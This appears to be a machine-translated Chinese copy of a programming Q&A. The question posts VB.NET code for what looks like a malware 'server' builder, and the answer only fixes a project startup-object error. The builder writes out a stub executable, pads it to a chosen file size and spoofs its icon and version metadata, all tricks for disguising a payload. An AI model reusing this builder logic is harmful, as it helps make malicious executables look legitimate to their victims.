2013-10-06 26 views
0

請問我有這個問題,並且我已經嘗試了一切來修復它,但仍然無法修復它。那就是:VB.net Sub Main在'X'中找不到

Const Filesplit = "@[email protected]" 
    Dim temp As String = IO.Path.GetTempPath() & "\Stub.exe" 

    File.WriteAllBytes(temp, My.Resources.Stub) 

    If TextBox8.Text.Length > 2 Then 
     If File.Exists(temp) = True Then 
      Dim icon As New IconFile(TextBox9.Text) 
      Dim groupIconResource As GroupIconResource = icon.ConvertToGroupIconResource() 
      groupIconResource.SaveTo(temp) 
     End If 

    End If 

    FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 
    stub = Space(LOF(1)) 
    FileGet(1, stub) 
    FileClose(1) 

    If File.Exists(TextBox8.Text) Then 
     My.Computer.FileSystem.DeleteFile(TextBox8.Text) 
    End If 

    FileOpen(1, Application.StartupPath & "\" & TextBox8.Text & ".exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) 
    Dim all As String = "" 
    For i = 0 To settings.Length - 1 
     all = all & Filesplit & settings(i) 
    Next 
    FilePut(1, stub & all) 

    FileClose(1) 
    File.Delete(temp) 

    If Form2.CheckBox41.Checked = True Then 
     ChngaeAssembly() 
    End If 


    If ComboBox1.Text = "KB" Then 
     Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append)) 
      Dim number As Integer = Val(TextBox6.Text) 
      For i = 0 To number 
       w.Write(New Byte(1024) {}) 
       w.Flush() 
      Next 

     End Using 
     MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid V 1.0") 
    Else 
     Using w As BinaryWriter = New BinaryWriter(New FileStream(Application.StartupPath & "\" & TextBox8.Text & ".exe", FileMode.Append)) 
      Dim number As Integer = Val(TextBox6.Text * 1000) 
      For i = 0 To number 
       w.Write(New Byte(1024) {}) 
       w.Flush() 
      Next 

     End Using 

     MsgBox("Successfully built !", MsgBoxStyle.Information, "rapid") 
    End If 

    MsgBox("Problem Occured. The Server was not Built.", MessageBoxIcon.Error, "rapid") 

End Sub 
Private Sub ChngaeAssembly() 
    Try 
     If File.Exists(Application.StartupPath & "\res.exe") Then 
      File.Delete(Application.StartupPath & "\res.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
      File.Delete(Application.StartupPath & "\assemblychange.res") 
     End If 
     System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res) 
     Dim source As String = My.Resources.String1 
     If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
      File.Delete(Application.StartupPath & "\assemblychange.exe") 
     End If 
     Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 
     Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 
     Dim CompResults As CompilerResults 
     Dim ComParameters As New CompilerParameters() 
     With ComParameters 
      .GenerateExecutable = True 
      .OutputAssembly = Application.StartupPath & "\assemblychange.exe" 
      .CompilerOptions = "/target:winexe" 
      .ReferencedAssemblies.Add("System.dll") 
      .ReferencedAssemblies.Add("System.Windows.Forms.dll") 
      .MainClass = "X" 
     End With 
     source = source.Replace("*Title*", Form2.TextBox3.Text) 
     source = source.Replace("*Description*", Form2.TextBox4.Text) 
     source = source.Replace("*Company*", Form2.TextBox5.Text) 
     source = source.Replace("*Product*", Form2.TextBox6.Text) 
     source = source.Replace("*Copyright*", Form2.TextBox7.Text) 
     source = source.Replace("*Trademark*", Form2.TextBox8.Text) 
     source = source.Replace("*version*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown2.Value, Form2.NumericUpDown3.Value, Form2.NumericUpDown4.Value, Form2.NumericUpDown5.Value)) 
     source = source.Replace("*fversion*", String.Format("{0}.{1}.{2}.{3}", Form2.NumericUpDown6.Value, Form2.NumericUpDown7.Value, Form2.NumericUpDown8.Value, Form2.NumericUpDown9.Value)) 
     CompResults = Compiler.CompileAssemblyFromSource(ComParameters, source) 
     If CompResults.Errors.Count > 0 Then 
      For Each CompilerError In CompResults.Errors 
       MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) 
      Next 
      If File.Exists(Application.StartupPath & "\res.exe") = True Then 
       File.Delete(Application.StartupPath & "\res.exe") 
      End If 
      If File.Exists(Application.StartupPath & "\res.log") = True Then 
       File.Delete(Application.StartupPath & "\res.log") 
      End If 
      If File.Exists(Application.StartupPath & "\res.ini") = True Then 
       File.Delete(Application.StartupPath & "\res.ini") 
      End If 
      If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
       File.Delete(Application.StartupPath & "\assemblychange.exe") 
      End If 
      If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
       File.Delete(Application.StartupPath & "\assemblychange.res") 
      End If 
      MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) 
      Exit Sub 
     End If 
     Dim otherfile As String = Application.StartupPath & "\assemblychange.exe" 
     Dim resfile As String = Application.StartupPath & "\assemblychange.res" 
     Dim mainfile As String = Application.StartupPath & "\" & TextBox8.Text & ".exe" 
     Shell(String.Format("{0}res.exe -extract {1},{2},VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), otherfile, resfile)) 
     Shell(String.Format("{0}res.exe -delete {1},{0}res.exe,VERSIONINFO,,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile)) 
     Shell(String.Format("{0}res.exe -addoverwrite {1},{1},{2},VERSIONINFO,1,", System.AppDomain.CurrentDomain.BaseDirectory(), mainfile, resfile)) 
     If File.Exists(Application.StartupPath & "\assemblychange.exe") Then 
      File.Delete(Application.StartupPath & "\assemblychange.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\assemblychange.res") Then 
      File.Delete(Application.StartupPath & "\assemblychange.res") 
     End If 
     If File.Exists(Application.StartupPath & "\res.exe") = True Then 
      File.Delete(Application.StartupPath & "\res.exe") 
     End If 
     If File.Exists(Application.StartupPath & "\res.log") = True Then 
      File.Delete(Application.StartupPath & "\res.log") 
     End If 
     If File.Exists(Application.StartupPath & "\res.ini") = True Then 
      File.Delete(Application.StartupPath & "\res.ini") 
     End If 
    Catch 
    End Try 
End Sub 

當我調試,我得到的Sub Main中的「X」當我嘗試請我怎麼解決它改變組件沒有被發現?在此先感謝

+0

究竟是什麼你想要做什麼,它看起來像你開始一個WinForm項目,並正在試圖改變啓動窗體,如果是這種情況,請轉到您的項目屬性並在那裏更改。 –

+0

我不改變winform的屬性,改變它創建的文件的屬性 – user1335112

回答

2

獲取該錯誤的一種方法是將Sub Main作爲不存在的啓動對象。

在您的項目屬性下,當您沒有Sub Main時,Application,Startup Object可能被設置爲「Sub Main」。相反,您可以選擇項目中存在的表單(或子表單)。

(這個選項只限於形式,如果「啓用應用程序框架」被選中。)

相關問題